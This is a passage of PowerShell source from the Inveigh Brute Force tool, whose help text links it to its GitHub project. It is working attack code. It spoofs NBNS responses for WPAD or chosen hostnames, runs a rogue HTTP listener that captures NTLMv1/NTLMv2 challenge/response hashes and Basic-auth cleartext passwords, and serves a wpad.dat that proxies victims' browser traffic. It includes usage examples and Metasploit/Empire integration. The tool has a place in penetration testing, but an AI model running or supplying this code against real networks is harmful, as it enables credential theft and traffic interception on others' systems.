Specify the HTTP/HTTPS server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts. + +.PARAMETER WPADIP +Specify a proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADPort. + +.PARAMETER WPADPort +Specify a proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADIP. + +.PARAMETER WPADDirectHosts +Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the defined proxy. Use PowerShell character escapes where necessary. + +.PARAMETER WPADResponse +Specify wpad.dat file contents to serve as the wpad.dat response. This parameter will not be used if WPADIP and WPADPort are set. + +.PARAMETER Challenge +Default = Random: Specify a 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random challenge will be generated for each request. This will only be used for non-relay captures. + +.PARAMETER MachineAccounts +Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts. + +.PARAMETER ConsoleOutput +Default = Disabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn't hang the shell. + +.PARAMETER FileOutput +Default = Disabled: (Y/N) Enable/Disable real time file output. + +.PARAMETER StatusOutput +Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages. + +.PARAMETER OutputStreamOnly +Default = Disabled: (Y/N) Enable/Disable forcing all output to the standard output stream. This can be helpful if running Inveigh Brute Force through a shell that does not return other output streams. +Note that you will not see the various yellow warning messages if enabled. + +.PARAMETER OutputDir +Default = Working Directory: Set a valid path to an output directory for log and capture files. FileOutput must also be enabled. + +.PARAMETER ShowHelp +Default = Enabled: (Y/N) Enable/Disable the help messages at startup. + +.PARAMETER RunTime +Default = Unlimited: (Integer) Set the run time duration in minutes. + +.PARAMETER RunCount +Default = Unlimited: (Integer) Set the number of captures to perform before auto-exiting. + +.PARAMETER Tool +Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Metasploit's Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire + +.EXAMPLE +Import-Module .\Inveigh.psd1;Invoke-InveighBruteForce -SpooferTarget 192.168.1.11 +Import full module and target 192.168.1.11 for 'WPAD' hostname spoofs. + +.EXAMPLE +Invoke-InveighBruteForce -SpooferTarget 192.168.1.11 -Hostname server1 +Target 192.168.1.11 for 'server1' hostname spoofs. + +.EXAMPLE +Invoke-InveighBruteForce -SpooferTarget 192.168.1.11 -WPADIP 192.168.10.10 -WPADPort 8080 +Target 192.168.1.11 for 'WPAD' hostname spoofs and respond to wpad.dat requests with a proxy of 192.168.10.10:8080. + +.LINK +https://github.com/Kevin-Robertson/Inveigh +#> + +# Parameter default values can be modified in this section: +param +( + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$HTTP="Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$NBNS="Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ConsoleOutput="N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$FileOutput="N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$StatusOutput="Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$OutputStreamOnly="N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$MachineAccounts="N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ShowHelp="Y", + [parameter(Mandatory=$false)][ValidateSet("0","1","2")][string]$Tool="0", + [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM")][string]$HTTPAuth="NTLM", + [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM")][string]$WPADAuth="NTLM", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$HTTPIP="", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$SpooferIP="", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$SpooferTarget="", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$WPADIP = "", + [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][string]$OutputDir="", + [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][string]$Challenge="", + [parameter(Mandatory=$false)][array]$WPADDirectHosts="", + [parameter(Mandatory=$false)][int]$HTTPPort="80", + [parameter(Mandatory=$false)][int]$NBNSPause="", + [parameter(Mandatory=$false)][int]$NBNSTTL="165", + [parameter(Mandatory=$false)][int]$WPADPort="", + [parameter(Mandatory=$false)][int]$RunCount="", + [parameter(Mandatory=$false)][int]$RunTime="", + [parameter(Mandatory=$false)][string]$HTTPBasicRealm="IIS", + [parameter(Mandatory=$false)][string]$HTTPResponse="", + [parameter(Mandatory=$false)][string]$WPADResponse="", + [parameter(Mandatory=$false)][string]$Hostname = "WPAD", + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter +) + +if ($invalid_parameter) +{ + throw "$($invalid_parameter) is not a valid parameter." +} + +if(!$SpooferIP) +{ + $SpooferIP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) +} + +if($NBNS -eq 'y' -and !$SpooferTarget) +{ + Throw "You must specify a -SpooferTarget if enabling -NBNS" +} + +if($WPADIP -or $WPADPort) +{ + if(!$WPADIP) + { + Throw "You must specify a -WPADPort to go with -WPADIP" + } + + if(!$WPADPort) + { + Throw "You must specify a -WPADIP to go with -WPADPort" + } +} + +if(!$OutputDir) +{ + $output_directory = $PWD.Path +} +else +{ + $output_directory = $OutputDir +} + +if(!$inveigh) +{ + $global:inveigh = [hashtable]::Synchronized(@{}) + $inveigh.log = New-Object System.Collections.ArrayList + $inveigh.NTLMv1_list = New-Object System.Collections.ArrayList + $inveigh.NTLMv2_list = New-Object System.Collections.ArrayList + $inveigh.cleartext_list = New-Object System.Collections.ArrayList +} + +if($inveigh.bruteforce_running) +{ + Throw "Invoke-InveighBruteForce is already running, use Stop-Inveigh" +} + +$inveigh.console_queue = New-Object System.Collections.ArrayList +$inveigh.status_queue = New-Object System.Collections.ArrayList +$inveigh.log_file_queue = New-Object System.Collections.ArrayList +$inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList +$inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList +$inveigh.cleartext_file_queue = New-Object System.Collections.ArrayList +$inveigh.HTTP_challenge_queue = New-Object System.Collections.ArrayList +$inveigh.console_output = $false +$inveigh.console_input = $true +$inveigh.file_output = $false +$inveigh.log_out_file = $output_directory + "\Inveigh-Log.txt" +$inveigh.NTLMv1_out_file = $output_directory + "\Inveigh-NTLMv1.txt" +$inveigh.NTLMv2_out_file = $output_directory + "\Inveigh-NTLMv2.txt" +$inveigh.cleartext_out_file = $output_directory + "\Inveigh-Cleartext.txt" +$inveigh.challenge = $Challenge +$inveigh.hostname_spoof = $false +$inveigh.bruteforce_running = $true + +if($StatusOutput -eq 'y') +{ + $inveigh.status_output = $true +} +else +{ + $inveigh.status_output = $false +} + +if($OutputStreamOnly -eq 'y') +{ + $inveigh.output_stream_only = $true +} +else +{ + $inveigh.output_stream_only = $false +} + +if($Tool -eq 1) # Metasploit Interactive PowerShell +{ + $inveigh.tool = 1 + $inveigh.output_stream_only = $true + $inveigh.newline = "" + $ConsoleOutput = "N" +} +elseif($Tool -eq 2) # PowerShell Empire +{ + $inveigh.tool = 2 + $inveigh.output_stream_only = $true + $inveigh.console_input = $false + $inveigh.newline = "`n" + $ConsoleOutput = "Y" + $ShowHelp = "N" +} +else +{ + $inveigh.tool = 0 + $inveigh.newline = "" +} + +# Write startup messages +$inveigh.status_queue.add("Inveigh Brute Force started at $(Get-Date -format 's')")|Out-Null +$inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh Brute Force started")]) |Out-Null + +if($NBNS -eq 'y') +{ + $inveigh.status_queue.add("NBNS Brute Force Spoofer Target = $SpooferTarget")|Out-Null + $inveigh.status_queue.add("NBNS Brute Force Spoofer IP Address = $SpooferIP")|Out-Null + $inveigh.status_queue.add("NBNS Brute Force Spoofer Hostname = $Hostname")|Out-Null + + if($NBNSPause) + { + $inveigh.status_queue.add("NBNS Brute Force Pause = $NBNSPause Seconds")|Out-Null + } + + $inveigh.status_queue.add("NBNS TTL = $NBNSTTL Seconds")|Out-Null +} +else +{ + $inveigh.status_queue.add("NBNS Brute Force Spoofer Disabled")|Out-Null +} + +if($HTTP -eq 'y') +{ + if($HTTPIP) + { + $inveigh.status_queue.add("HTTP IP Address = $HTTPIP")|Out-Null + } + + if($HTTPPort -ne 80) + { + $inveigh.status_queue.add("HTTP Port = $HTTPPort")|Out-Null + } + + $inveigh.status_queue.add("HTTP Capture Enabled")|Out-Null + $inveigh.status_queue.add("HTTP Authentication = $HTTPAuth")|Out-Null + $inveigh.status_queue.add("WPAD Authentication = $WPADAuth")|Out-Null + + if($HTTPResponse) + { + $inveigh.status_queue.add("HTTP Custom Response Enabled")|Out-Null + } + + if($HTTPAuth -eq 'Basic' -or $WPADAuth -eq 'Basic') + { + $inveigh.status_queue.add("Basic Authentication Realm = $HTTPBasicRealm")|Out-Null + } + + if($WPADIP -and $WPADPort) + { + $inveigh.status_queue.add("WPAD = $WPADIP`:$WPADPort")|Out-Null + + if($WPADDirectHosts) + { + $inveigh.status_queue.add("WPAD Direct Hosts = " + $WPADDirectHosts -join ",")|Out-Null + } + } + elseif($WPADResponse -and !$WPADIP -and !$WPADPort) + { + $inveigh.status_queue.add("WPAD Custom Response Enabled")|Out-Null + } + + if($Challenge) + { + $inveigh.status_queue.add("NTLM Challenge = $Challenge")|Out-Null + } + + if($MachineAccounts -eq 'n') + { + $inveigh.status_queue.add("Ignoring Machine Accounts")|Out-Null + } +} +else +{ + $inveigh.status_queue.add("HTTP Capture Disabled")|Out-Null +} + +if($ConsoleOutput -eq 'y') +{ + $inveigh.status_queue.add("Real Time Console Output Enabled")|Out-Null + $inveigh.console_output = $true +} +else +{ + if($inveigh.tool -eq 1) + { + $inveigh.status_queue.add("Real Time Console Output Disabled Due To External Tool Selection")|Out-Null + } + else + { + $inveigh.status_queue.add("Real Time Console Output Disabled")|Out-Null + } +} + +if($FileOutput -eq 'y') +{ + $inveigh.status_queue.add("Real Time File Output Enabled")|Out-Null + $inveigh.status_queue.add("Output Directory = $output_directory")|Out-Null + $inveigh.file_output = $true +} +else +{ + $inveigh.status_queue.add("Real Time File Output Disabled")|Out-Null +} + +if($RunTime -eq 1) +{ + $inveigh.status_queue.add("Run Time = $RunTime Minute")|Out-Null +} +elseif($RunTime -gt 1) +{ + $inveigh.status_queue.add("Run Time = $RunTime Minutes")|Out-Null +} + +if($RunCount) +{ + $inveigh.status_queue.add("Run Count = $RunCount")|Out-Null +} + +if($ShowHelp -eq 'y') +{ + $inveigh.status_queue.add("Use Get-Command -Noun Inveigh* to show available functions")|Out-Null + $inveigh.status_queue.add("Run Stop-Inveigh to stop running Inveigh functions")|Out-Null + + if($inveigh.console_output) + { + $inveigh.status_queue.add("Press any key to stop real time console output")|Out-Null + } +} + +if($inveigh.status_output) +{ + while($inveigh.status_queue.Count -gt 0) + { + if($inveigh.output_stream_only) + { + write-output($inveigh.status_queue[0] + $inveigh.newline) + $inveigh.status_queue.RemoveRange(0,1) + } + else + { + switch ($inveigh.status_queue[0]) + { + "Run Stop-Inveigh to stop running Inveigh functions" + { + write-warning($inveigh.status_queue[0]) + $inveigh.status_queue.RemoveRange(0,1) + } + default + { + write-output($inveigh.status_queue[0]) + $inveigh.status_queue.RemoveRange(0,1) + } + } + } + } +} + +# Begin ScriptBlocks + +# Shared Basic Functions ScriptBlock +$shared_basic_functions_scriptblock = +{ + Function DataLength + { + param ([int]$length_start,[byte[]]$string_extract_data) + + $string_length = [System.BitConverter]::ToInt16($string_extract_data[$length_start..($length_start + 1)],0) + return $string_length + } + + Function DataToString + { + param ([int]$string_length,[int]$string2_length,[int]$string3_length,[int]$string_start,[byte[]]$string_extract_data) + + $string_data = [System.BitConverter]::ToString($string_extract_data[($string_start+$string2_length+$string3_length)..($string_start+$string_length+$string2_length+$string3_length-1)]) + $string_data = $string_data -replace "-00","" + $string_data = $string_data.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + $string_extract = New-Object System.String ($string_data,0,$string_data.Length) + return $string_extract + } + + Function HTTPListenerStop + { + $inveigh.console_queue.add("$(Get-Date -format 's') - Attempting to stop HTTP listener") + $inveigh.HTTP_client.Close() + start-sleep -s 1 + $inveigh.HTTP_listener.server.blocking = $false + Start-Sleep -s 1 + $inveigh.HTTP_listener.server.Close() + Start-Sleep -s 1 + $inveigh.HTTP_listener.Stop() + } +} + +# HTTP Server ScriptBlock - HTTP listener +$HTTP_scriptblock = +{ + param ($HTTPAuth,$HTTPBasicRealm,$HTTPResponse,$MachineAccounts,$NBNSPause,$WPADAuth,$WPADIP,$WPADPort,$WPADDirectHosts,$WPADResponse,$RunCount) + + Function NTLMChallengeBase64 + { + + $HTTP_timestamp = Get-Date + $HTTP_timestamp = $HTTP_timestamp.ToFileTime() + $HTTP_timestamp = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_timestamp)) + $HTTP_timestamp = $HTTP_timestamp.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + + if($inveigh.challenge) + { + $HTTP_challenge = $inveigh.challenge + $HTTP_challenge_bytes = $inveigh.challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-') + $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + } + else + { + $HTTP_challenge_bytes = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $HTTP_challenge = $HTTP_challenge_bytes -replace ' ', '' + $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + } + + $inveigh.HTTP_challenge_queue.Add($inveigh.HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + $inveigh.HTTP_client.Client.RemoteEndpoint.Port + ',' + $HTTP_challenge) |Out-Null + + [byte[]]$HTTP_NTLM_bytes = (0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00,0x06,0x00,0x06,0x00,0x38,0x00,0x00,0x00,0x05,0x82,0x89,0xa2)` + + $HTTP_challenge_bytes` + + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x82,0x00,0x82,0x00,0x3e,0x00,0x00,0x00,0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f,0x4c,0x00,0x41,0x00,0x42,0x00)` + + (0x02,0x00,0x06,0x00,0x4c,0x00,0x41,0x00,0x42,0x00,0x01,0x00,0x10,0x00,0x48,0x00,0x4f,0x00,0x53,0x00,0x54,0x00,0x4e,0x00,0x41,0x00,0x4d,0x00,0x45,0x00)` + + (0x04,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x03,0x00,0x24,0x00,0x68,0x00,0x6f,0x00)` + + (0x73,0x00,0x74,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65,0x00,0x2e,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00)` + + (0x6c,0x00,0x05,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x07,0x00,0x08,0x00)` + + $HTTP_timestamp` + + (0x00,0x00,0x00,0x00,0x0a,0x0a) + + $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) + $NTLM = 'NTLM ' + $NTLM_challenge_base64 + $NTLM_challenge = $HTTP_challenge + + Return $NTLM + + } + + $HTTP_WWW_authenticate_header = (0x57,0x57,0x57,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20) # WWW-Authenticate + $run_count_NTLMv1 = $RunCount + $inveigh.NTLMv1_list.Count + $run_count_NTLMv2 = $RunCount + $inveigh.NTLMv2_list.Count + $run_count_cleartext = $RunCount + $inveigh.cleartext_list.Count + + if($WPADIP -and $WPADPort) + { + if($WPADDirectHosts) + { + ForEach($WPAD_direct_host in $WPADDirectHosts) + { + $WPAD_direct_hosts_function += 'if (dnsDomainIs(host, "' + $WPAD_direct_host + '")) return "DIRECT";' + } + + $HTTP_WPAD_response = "function FindProxyForURL(url,host){" + $WPAD_direct_hosts_function + "return `"PROXY " + $WPADIP + ":" + $WPADPort + "`";}" + } + else + { + $HTTP_WPAD_response = "function FindProxyForURL(url,host){return `"PROXY " + $WPADIP + ":" + $WPADPort + "`";}" + } + } + elseif($WPADResponse) + { + $HTTP_WPAD_response = $WPADResponse + } + + :HTTP_listener_loop while ($inveigh.bruteforce_running) + { + + $TCP_request = $NULL + $TCP_request_bytes = New-Object System.Byte[] 1024 + + $suppress_waiting_message = $false + + while(!$inveigh.HTTP_listener.Pending() -and !$inveigh.HTTP_client.Connected) + { + if(!$suppress_waiting_message) + { + $inveigh.console_queue.add("$(Get-Date -format 's') - Waiting for incoming HTTP connection") + $suppress_waiting_message = $true + } + + Start-Sleep -s 1 + + if(!$inveigh.bruteforce_running) + { + HTTPListenerStop + } + } + + if(!$inveigh.HTTP_client.Connected) + { + $inveigh.HTTP_client = $inveigh.HTTP_listener.AcceptTcpClient() # will block here until connection + $HTTP_stream = $inveigh.HTTP_client.GetStream() + } + + while ($HTTP_stream.DataAvailable) + { + $HTTP_stream.Read($TCP_request_bytes, 0, $TCP_request_bytes.Length) + } + + $TCP_request = [System.BitConverter]::ToString($TCP_request_bytes) + + if($TCP_request -like "47-45-54-20*" -or $TCP_request -like "48-45-41-44-20*" -or $TCP_request -like "4f-50-54-49-4f-4e-53-20*") + { + $HTTP_raw_URL = $TCP_request.Substring($TCP_request.IndexOf("-20-") + 4,$TCP_request.Substring($TCP_request.IndexOf("-20-") + 1).IndexOf("-20-") - 3) + $HTTP_raw_URL = $HTTP_raw_URL.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + $HTTP_request_raw_URL = New-Object System.String ($HTTP_raw_URL,0,$HTTP_raw_URL.Length) + + if($NBNSPause) + { + $inveigh.NBNS_stopwatch = [diagnostics.stopwatch]::StartNew() + $inveigh.hostname_spoof = $true + } + } + + if($TCP_request -like "*-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-*") + { + $HTTP_authorization_header = $TCP_request.Substring($TCP_request.IndexOf("-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-") + 46) + $HTTP_authorization_header = $HTTP_authorization_header.Substring(0,$HTTP_authorization_header.IndexOf("-0D-0A-")) + $HTTP_authorization_header = $HTTP_authorization_header.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + $authentication_header = New-Object System.String ($HTTP_authorization_header,0,$HTTP_authorization_header.Length) + } + else + { + $authentication_header = '' + } + + if(($HTTP_request_raw_URL -match '/wpad.dat') -and ($WPADAuth -eq 'Anonymous')) + { + $HTTP_response_status_code = (0x32,0x30,0x30) + $HTTP_response_phrase = (0x4f,0x4b) + } + else + { + $HTTP_response_status_code = (0x34,0x30,0x31) + $HTTP_response_phrase = (0x55,0x6e,0x61,0x75,0x74,0x68,0x6f,0x72,0x69,0x7a,0x65,0x64) + } + + $HTTP_type = "HTTP" + $NTLM = 'NTLM' + $NTLM_auth = $false + + if($HTTP_request_raw_URL_old -ne $HTTP_request_raw_URL -or $HTTP_client_handle_old -ne $inveigh.HTTP_client.Client.Handle) + { + $inveigh.console_queue.add("$(Get-Date -format 's') - $HTTP_type request for " + $HTTP_request_raw_URL + " received from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address) + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_type request for " + $HTTP_request_raw_URL + " received from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address)]) + } + + if($authentication_header.startswith('NTLM ')) + { + $authentication_header = $authentication_header -replace 'NTLM ','' + [byte[]] $HTTP_request_bytes = [System.Convert]::FromBase64String($authentication_header) + $HTTP_response_status_code = (0x34,0x30,0x31) + + if ($HTTP_request_bytes[8] -eq 1) + { + $HTTP_response_status_code = (0x34,0x30,0x31) + $NTLM = NTLMChallengeBase64 + } + elseif ($HTTP_request_bytes[8] -eq 3) + { + $NTLM = 'NTLM' + $HTTP_NTLM_offset = $HTTP_request_bytes[24] + $HTTP_NTLM_length = DataLength 22 $HTTP_request_bytes + $HTTP_NTLM_domain_length = DataLength 28 $HTTP_request_bytes + $HTTP_NTLM_domain_offset = DataLength 32 $HTTP_request_bytes + + [string]$NTLM_challenge = $inveigh.HTTP_challenge_queue -like $inveigh.HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + $inveigh.HTTP_client.Client.RemoteEndpoint.Port + '*' + $inveigh.HTTP_challenge_queue.Remove($NTLM_challenge) + $NTLM_challenge = $NTLM_challenge.Substring(($NTLM_challenge.IndexOf(","))+1) + + if($HTTP_NTLM_domain_length -eq 0) + { + $HTTP_NTLM_domain_string = '' + } + else + { + $HTTP_NTLM_domain_string = DataToString $HTTP_NTLM_domain_length 0 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes + } + + $HTTP_NTLM_user_length = DataLength 36 $HTTP_request_bytes + $HTTP_NTLM_user_string = DataToString $HTTP_NTLM_user_length $HTTP_NTLM_domain_length 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes + + $HTTP_NTLM_host_length = DataLength 44 $HTTP_request_bytes + $HTTP_NTLM_host_string = DataToString $HTTP_NTLM_host_length $HTTP_NTLM_domain_length $HTTP_NTLM_user_length $HTTP_NTLM_domain_offset $HTTP_request_bytes + + if($HTTP_NTLM_length -eq 24) # NTLMv1 + { + $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[($HTTP_NTLM_offset - 24)..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" + $NTLM_response = $NTLM_response.Insert(48,':') + $inveigh.HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_response + ":" + $NTLM_challenge + + if((($NTLM_challenge -ne '') -and ($NTLM_response -ne '')) -and (($MachineAccounts -eq 'y') -or (($MachineAccounts -eq 'n') -and (-not $HTTP_NTLM_user_string.EndsWith('$'))))) + { + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ")")]) + $inveigh.NTLMv1_file_queue.add($inveigh.HTTP_NTLM_hash) + $inveigh.NTLMv1_list.add($inveigh.HTTP_NTLM_hash) + $inveigh.console_queue.add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + "):`n" + $inveigh.HTTP_NTLM_hash) + + if($inveigh.file_output) + { + $inveigh.console_queue.add("$HTTP_type NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) + } + } + + $HTTP_response_status_code = (0x32,0x30,0x30) + $HTTP_client_close = $true + $NTLM_challenge = '' + } + else # NTLMv2 + { + $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[$HTTP_NTLM_offset..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" + $NTLM_response = $NTLM_response.Insert(32,':') + $inveigh.HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLM_response + + if((($NTLM_challenge -ne '') -and ($NTLM_response -ne '')) -and (($MachineAccounts -eq 'y') -or (($MachineAccounts -eq 'n') -and (-not $HTTP_NTLM_user_string.EndsWith('$'))))) + { + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ")")]) + $inveigh.NTLMv2_file_queue.add($inveigh.HTTP_NTLM_hash) + $inveigh.NTLMv2_list.add($inveigh.HTTP_NTLM_hash) + $inveigh.console_queue.add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + "):`n" + $inveigh.HTTP_NTLM_hash) + + if($inveigh.file_output) + { + $inveigh.console_queue.add("$HTTP_type NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) + } + + } + } + + $HTTP_response_status_code = (0x32,0x30,0x30) + $HTTP_response_phrase = (0x4f,0x4b) + $NTLM_auth = $true + $HTTP_client_close = $true + $NTLM_challenge = '' + } + else + { + $NTLM = 'NTLM' + } + } + elseif($authentication_header.startswith('Basic ')) + { + $HTTP_response_status_code = (0x32,0x30,0x30) + $HTTP_response_phrase = (0x4f,0x4b) + $authentication_header = $authentication_header -replace 'Basic ','' + $cleartext_credentials = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($authentication_header)) + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Basic auth cleartext credentials captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address)]) + $inveigh.cleartext_file_queue.add($cleartext_credentials) + $inveigh.cleartext_list.add($cleartext_credentials) + $inveigh.console_queue.add("$(Get-Date -format 's') - Basic auth cleartext credentials $cleartext_credentials captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address) + + if($inveigh.file_output) + { + $inveigh.console_queue.add("Basic auth cleartext credentials written to " + $inveigh.cleartext_out_file) + } + } + + $HTTP_timestamp = Get-Date -format r + $HTTP_timestamp = [System.Text.Encoding]::UTF8.GetBytes($HTTP_timestamp) + + if((($WPADIP -and $WPADPort) -or $WPADResponse) -and $HTTP_request_raw_URL -match '/wpad.dat') + { + $HTTP_message = $HTTP_WPAD_response + } + elseif($HTTPResponse -and $HTTP_request_raw_URL -notmatch '/wpad.dat') + { + $HTTP_message = $HTTPResponse + } + else + { + $HTTP_message = '' + + } + + $HTTP_timestamp = Get-Date -format r + $HTTP_timestamp = [System.Text.Encoding]::UTF8.GetBytes($HTTP_timestamp) + + if(($HTTPAuth -eq 'NTLM' -and $HTTP_request_raw_URL -notmatch '/wpad.dat') -or ($WPADAuth -eq 'NTLM' -and $HTTP_request_raw_URL -match '/wpad.dat') -and !$NTLM_auth) + { + $NTLM = [System.Text.Encoding]::UTF8.GetBytes($NTLM) + $HTTP_message_bytes = (0x0d,0x0a) + $HTTP_content_length_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message.Length) + $HTTP_message_bytes += [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) + + [Byte[]] $HTTP_response = (0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)` + + $HTTP_response_status_code` + + (0x20)` + + $HTTP_response_phrase` + + (0x0d,0x0a)` + + (0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d,0x0a)` + + (0x44,0x61,0x74,0x65,0x3a)` + + $HTTP_timestamp` + + (0x0d,0x0a)` + + $HTTP_WWW_authenticate_header` + + $NTLM` + + (0x0d,0x0a)` + + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20,0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x3b,0x20,0x63,0x68,0x61,0x72,0x73,0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38,0x0d,0x0a)` + + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20)` + + $HTTP_content_length_bytes` + + (0x0d,0x0a)` + + $HTTP_message_bytes + } + elseif(($HTTPAuth -eq 'Basic' -and $HTTP_request_raw_URL -notmatch '/wpad.dat') -or ($WPADAuth -eq 'Basic' -and $HTTP_request_raw_URL -match '/wpad.dat')) + { + $Basic = [System.Text.Encoding]::UTF8.GetBytes("Basic realm=$HTTPBasicRealm") + $HTTP_message_bytes = (0x0d,0x0a) + $HTTP_content_length_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message.Length) + $HTTP_message_bytes += [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) + $HTTP_client_close = $true + + [Byte[]] $HTTP_response = (0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)` + + $HTTP_response_status_code` + + (0x20)` + + $HTTP_response_phrase` + + (0x0d,0x0a)` + + (0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d,0x0a)` + + (0x44,0x61,0x74,0x65,0x3a)` + 